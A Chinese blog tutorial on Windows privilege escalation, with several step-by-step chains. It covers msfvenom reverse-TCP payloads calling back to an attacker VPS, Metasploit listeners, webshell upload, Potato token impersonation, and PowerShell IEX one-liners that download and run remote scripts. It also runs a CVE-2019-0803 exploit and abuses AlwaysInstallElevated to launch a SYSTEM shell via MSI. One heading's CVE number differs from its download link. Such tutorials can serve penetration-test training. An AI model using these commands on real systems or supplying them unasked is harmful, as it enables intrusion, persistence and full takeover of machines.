• Windows系统提权姿势


    权限提升简介

    权限提升概述

    windows系统常见的权限:

    用户权限
    管理员权限
    系统权限
    访客权限
    
    • 1
    • 2
    • 3
    • 4

    什么是提权

    权限提升(privilege escalation):攻击者通过安全漏洞把获取到的受限制的低权限用户突破限制,提权到高权限的管理员用户,从而获得对整个系统得控制权。

    Windows:user --> administrator
    Linux:user --> root
    
    • 1
    • 2

    提权分类

    本地提权:在一个低权限用户下,通过一些条件(应用程序漏洞、系统漏洞等)直接提升到系统最高权限。

    远程提权:攻击者通过漏洞利用程序直接获取远程服务器的权限。

    操作系统提权:

    Windows:MS06-067、MS10-084、MS11-014、MS11-05、MS12-020、MS16-032等

    Linux:CVE-2017-7308、CVE-2017-6074、CVE-2017-5123、CVE-2016-9793、CVE-2016-5195等

    应用程序提权:SQL Server、MySQL、Oracle

    提权条件

    1. 拥有Webshell,普通用户权限
    2. 拥有某些软件的账号密码
    3. 本地或远程服务器上存在漏洞
    4. 拥有漏洞利用工具代码

    Windows提权思路

    1. 前期信息收集
    2. Meterpreter提权
    3. Windows系统内核漏洞
    4. Windows服务漏洞

    Windows系统提权

    Windows提权信息收集

    1. 生成msf木马。
     msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=your-vps-ip lport=6666 -f exe -o demo.exe
    
    • 1

    在这里插入图片描述

    1. 监听并且运行木马文件,获取会话。
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST your-vps-ip
    set LPORT 6666
    exploit
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    WMIC信息收集

    WMIC:Windows管理工具命令行,提供了从命令行接口和批命令脚本执行系统管理的支持,对于信息收集和渗透测试是非常实用的。

    wmic信息提取脚本:wmic_info.bat

    提取进程、服务、用户帐号、用户组、网络接口、硬盘信息、网络共享信息、安装Windows补丁、程序在启动运行、安装的软件列表、操作系统、时区等信息。

    补丁信息、补丁包过滤

    wmic qfe get Caption,Description,HotFixID,InstalledOn
    wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:“KBxxxxxx” /C:“KBxxxxxx”
    
    • 1
    • 2

    获取杀软名:

    WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
    
    • 1

    获取杀软名和安装路径:

    WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,
    pathToSignedProductExe
    
    • 1
    • 2

    组帐户管理

    wmic group
    
    • 1

    已安装操作系统的管理

    wmic os
    
    • 1

    进程管理

    wmic process
    
    • 1

    服务应用程序管理

    wmic service
    
    • 1

    用户帐户管理

    wmic useraccount
    
    • 1

    当用户登录到计算机系统时自动运行的命令的管理

    wmic startup
    
    • 1

    自动信息收集

    Host Information Gathering Script:HIGS.bat

    下载地址:

    https://github.com/myh0st/scripts/blob/master/Windows%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86
    
    • 1

    使用方法:将HIGS.bat在目标机器上运行即可收集信息。
    在这里插入图片描述

    提权工具脚本

    环境搭建

    1. 配置web服务器。
      左下角开始=>管理工具=>服务器管理器=>角色
      在这里插入图片描述在这里插入图片描述

    2. 勾选WEB服务,一直下一步到结束。
      点击功能,勾选以下功能。
      在这里插入图片描述

    3. 点击Internet信息服务,访问浏览器查看是否搭建完成。
      在这里插入图片描述

    4. 成功搭建界面。
      在这里插入图片描述

    5. 在web目录上传aspx文件,使用蚁剑连接,默认我们已经拿到shell。

    连接成功后,查看权限。
    在这里插入图片描述

    iis apppool\defaultapppool:iis的服务权限。
    
    • 1

    提权

    前提拿到webshell

    web路径:C:\inetpub\wwwroot\aspnet_client\system_web\2_0_50727
    
    • 1
    1. 我们将它上线到MSF,将木马文件上传到连接目录下。
      在这里插入图片描述发现报错,显示没有权限这时我们找到tmep目录进行上传。
      在windows中temp目录默认所有用户有写入、执行的权限;在linux中tmp目录也一样

    我们更换为temp目录下的文件夹上传。成功!
    在这里插入图片描述

    1. 运行木马,上线msf。
      在这里插入图片描述

    2. 得到会话。
      在这里插入图片描述

    RottenPotato:将服务帐户本地提权至SYSTEM
    
    load incognito
    list_token –u
    upload /root/ubunut/Potato.exe .
    execute -Hc -f Potato.exe
    impersonate_token "NT AUTHORITY\SYSTEM"
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    1. 查看令牌。
    list_tokens -u
    
    • 1

    在这里插入图片描述

    1. 加载模块。

    在这里插入图片描述

    1. 上传土豆到web目录。
    /home/ubuntu/Potato.exe:绝对目录
    . :当前文件夹
    dir:查看是否上传成功
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    1. 运行potato.exe
    -HC:隐藏进程
    -f:指定名字
    872:pid
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    1. 伪装登录令牌

    在这里插入图片描述

    没有找到令牌,我们换个方式尝试。

    Origin Potato :

    https://github.com/foxglovesec/Potato
    
    • 1

    RottenPotato & JuicyPotato:

    https://github.com/ohpe/juicy-potato
    
    • 1

    RoguePotato:

    https://github.com/antonioCoco/RoguePotato
    
    • 1

    SweetPotato:

    https://github.com/CCob/SweetPotato
    
    • 1

    Webshell下执行命令:

    https://github.com/uknowsec/SweetPotato
    https://github.com/uknowsec/getSystem
    
    • 1
    • 2

    Windows内核漏洞提权

    提权信息收集

    检查Windows版本是否有任何已知的漏洞:

    systeminfo | findstr /B /C:“OS Name” /C:“OS Version”
    wmic qfe get Caption,Description,HotFixID,InstalledOn
    
    • 1
    • 2

    在这里插入图片描述

    列出所有补丁:

    powershell -c "Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid}
    
    • 1

    在这里插入图片描述

    列出安全更新补丁:

    powershell -c "Get-Hotfix -description 'Security update'"
    
    • 1

    在这里插入图片描述

    快速查找提权

    在线网站查询补丁对应漏洞:

    https://i.hacking8.com/tiquan
    
    • 1

    在这里插入图片描述

    在这里插入图片描述

    工具自动化查询

    https://github.com/rasta-mouse/Watson
    wget https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1
    
    • 1
    • 2
    1. 文件在vps下载后,在文件所在目录启动http服务。
    python3 -m http.server
    
    • 1
    1. 在目标机器运行
    powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://your-vps-ip:8000/Sherlock.ps1');Find-AllVulns
    
    • 1

    在这里插入图片描述

    CVEID:漏洞编号
    LINK:POC地址
    
    • 1
    • 2

    windows-kernel-exploits(Windows平台提权漏洞集合):

    https://github.com/SecWiki/windows-kernel-exploits
    
    • 1

    在这里插入图片描述
    检测脚本windows-exploit-suggester.py。

    更新库:

    python2 windows-exploit-suggester.py --update
    
    • 1

    完成后即可在同目录看到xls文件。
    在这里插入图片描述

    使用:
    在目标机器导入systeminfo。

    systeminfo >> info.txt #将结果输出的info.txt
    
    • 1

    将生成的info.txt文件和windows-exploit-suggester.py脚本放在一起。

    python2 windows-exploit-suggester.py --database 2022-08-10-mssb.xls --systeminfo info.txt
    
    • 1

    M是可能存在的:
    在这里插入图片描述

    E:不存在的:在这里插入图片描述

    报错解决

    1. No matching distribution found for python-xlrd
      在这里插入图片描述

    解决方案:

    pip2 install xlrd --upgrade
    
    • 1
    1. xlrd.biffh.XLRDError: Excel xlsx file; not supported
      在这里插入图片描述

    原因:xlrd版本太高,换旧版即可。xlrd更新到了2.0.1版本,只支持.xls文件。所以解析xlsx文件会报错。
    解决方案:

    pip2 uninstall xlrd
    
    • 1
    pip2 install xlrd==1.2.0
    
    • 1

    提权复现-CVE-2019-0803

    漏洞利用工具:

    https://github.com/k8gege/K8tools/raw/master/CVE-2019-0803.exe
    
    • 1

    假设我们已经getshell。
    在目标主机运行木马文件。

    cve-2019-0803 cmd "whoami" 检测是否存在漏洞
    
    • 1

    在这里插入图片描述

    cve-2019-0803 cmd "start demo11111.exe" 反弹system权限会话至msf上
    
    • 1

    在这里插入图片描述

    提权复现-CVE-2020-0708

    poc下载地址:

    https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases/tag/1
    
    • 1

    必须拿到远程桌面或者远程会话才可以得到system权限。
    直接运行即可。
    在这里插入图片描述

    Windows系统服务漏洞

    Always Install Elevated

    任意用户以NT AUTHORITY\SYSTEM权限安装 msi。

    AlwaysInstallElevated是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。

    MSI:Microsoft Silent Installer,是微软的安装包格式,它在后台运行.exe安装程序

    Always Install Elevated(判断是否激活Always Install Elevated)

    1. 将PowerUp.ps1文件上传到vps(没有的话可以问我要)
    2. vps开启http服务
    python3 -m http.server
    
    • 1
    1. 判断是否激活。
    powershell -ep bypass iex(new-object
    net.webclient).downloadstring('http://vps-ip:8000/PowerUp.ps1');GetRegistryAlwaysInstallElevated
    
    • 1
    • 2

    在这里插入图片描述

    1. False:没有开启。
      在测试环境启用AlwaysInstallElevated,命令如下:
    reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
    
    • 1
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
    
    • 1

    通过注册表判断

    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    
    • 1

    如果没有注册表项的话,那就代表没有开启,反之显示0x1则代表开启

    在这里插入图片描述

    1. 图形化可通过gpedit.msc,路径为计算机设置\管理模版\windows组件\windows installer,选中已启用即可,需要管理员权限:
      在这里插入图片描述

    Always Install Elevated提权

    1. 下载exemsi。
    2. msf生成exe程序
    msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=9090 LHOST=vps-ip -f exe >a.exe
    
    • 1

    开启监听。

    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost vps-ip
    set lport 23456
    exploit -j
    
    • 1
    • 2
    • 3
    • 4
    • 5
    1. 使用exemsi将exe封装为msi。
      配置样式为下图所示,其他默认即可。
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述
      下面一直NEXT到最后

    这里选择否。

    在这里插入图片描述

    1. 浏览目录,把生成的msi文件上传到目标主机。
      在这里插入图片描述

    2. 打开cmd界面,运行msi程序,得到system权限的shell。
      目标机器上执行:msiexec /quiet /qn /i a.msi

    在这里插入图片描述

    msiexec参数:
    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    QT:可执行文件打包
    Rust有没有信号量机制,在缓存有数据的时候才允许等待的进程取数据?
    centos 创建python虚拟环境遇到的问题及解决方法
    MapReduce框架原理
    Web APIs——正则表达式使用
    LeetCode 0792. 匹配子序列的单词数
    08_一句话让你人间清醒
    Ethereum技术架构介绍
    C++类与对象二
    Redis学习(三)——事务、乐观锁、持久化、发布订阅
  • 原文地址:https://blog.csdn.net/qq_61503377/article/details/126255052